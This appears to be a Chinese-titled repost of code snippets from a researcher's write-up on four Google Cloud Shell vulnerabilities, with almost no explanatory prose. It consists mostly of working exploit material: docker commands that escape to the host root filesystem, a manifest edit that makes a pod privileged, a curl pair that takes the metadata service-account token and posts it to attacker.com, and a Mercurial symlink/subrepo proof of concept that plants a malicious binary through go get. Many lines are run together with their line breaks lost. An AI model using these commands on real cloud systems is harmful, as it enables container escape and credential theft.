啃硬骨头的经历：在25分钟内发现4个Google Cloud Shell漏洞（详情）

# create a privileged container with host root filesystem mounted - wtm@offensi.comsudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-containersudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh

#!/bin/sh# wtm@offensi.com
# write new manifestcat /etc/kubernetes/manifests/cs-6000.yaml | sed s/"    'securityContext': \!\!null 'null'"/\"    'securityContext':\n"\"      'privileged': \!\!bool 'true'\n"\"      'procMount': \!\!null 'null'\n"\"      'runAsGroup': \!\!null 'null'\n"\"      'runAsUser': \!\!null 'null'\n"\"      'seLinuxOptions': \!\!null 'null'\n"/g > /tmp/cs-6000.yaml
# replace old manifest with symlinkmv /tmp/cs-6000.yaml /etc/kubernetes/manifests/cs-6000.modifiedln -fs /dev/null /etc/kubernetes/manifests/cs-6000.yaml

<a href="https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=http://path-to-repo/sample.git"><img alt="Open in Cloud Shell" src ="https://gstatic.com/cloudssh/images/open-btn.svg"></a>

wtm          736  0.0  0.1  11212  2920 ?        S<s  13:54   0:00 /bin/bash /google/devshell/editor/editor_exec.sh python -m pyls

538   stat("/home/wtm/supervisor", 0x7ffdf08e11e0) = -1 ENOENT (No such file or directory)542   stat("/home/wtm/pyls", 0x7ffcbbf61a10) = -1 ENOENT (No such file or directory)542   stat("/home/wtm/google", 0x7ffcbbf5fe00) = -1 ENOENT (No such file or directory)

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latestsudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-containersudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh

curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.jsoncurl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload

function cloudshell_open {... git clone -- "$cloudshell_git_repo" "$target_directory"cd "$cloudshell_working_dir"git checkout "$cloudshell_git_branch"...}

   var B3b = {        CREATE_CUSTOM_IMAGE: "cloudshell_create_custom_image",        DIR: "cloudshell_working_dir",        GIT_BRANCH: "cloudshell_git_branch",        GIT_REPO: "cloudshell_git_repo",        GO_GET_REPO: "cloudshell_go_get_repo",        IMAGE: "cloudshell_image",        OPEN_IN_EDITOR: "cloudshell_open_in_editor",        PRINT: "cloudshell_print",        TUTORIAL: "cloudshell_tutorial"    };

function cloudshell_open {...valid_url_chars="[a-zA-Z0-9/\._:\-]*"... if [[ -n "$cloudshell_go_get_repo" ]]; then    valid_go_get=$(echo $cloudshell_go_get_repo | grep -e "^$valid_url_chars$")    if [[ -z "$valid_go_get" ]]; then      echo "Invalid go_get"      return    fi...go get -- "$cloudshell_go_get_repo"go_src="$(go env GOPATH | cut -d ':' -f 1)/src/$go_get"

#!/bin/sh# PoC for Google VRP by wtm@offensi.commkdir hgrepohg init hgrepo/rootcd hgrepo/rootln -s ../../../binhg ci -qAm 'add symlink "bin"'hg init ../../../binecho 'bin = bin' >> .hgsubhg ci -qAm 'add subrepo "bin"'
cd ../../../binecho '#!/bin/sh' >> cutecho 'wall You have been pwned!' >> cutchmod +x cuthg add cuthg commit -m "evil cut bin"
cd /var/www/html/hgrepo/roothg commit -m "final"

<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root">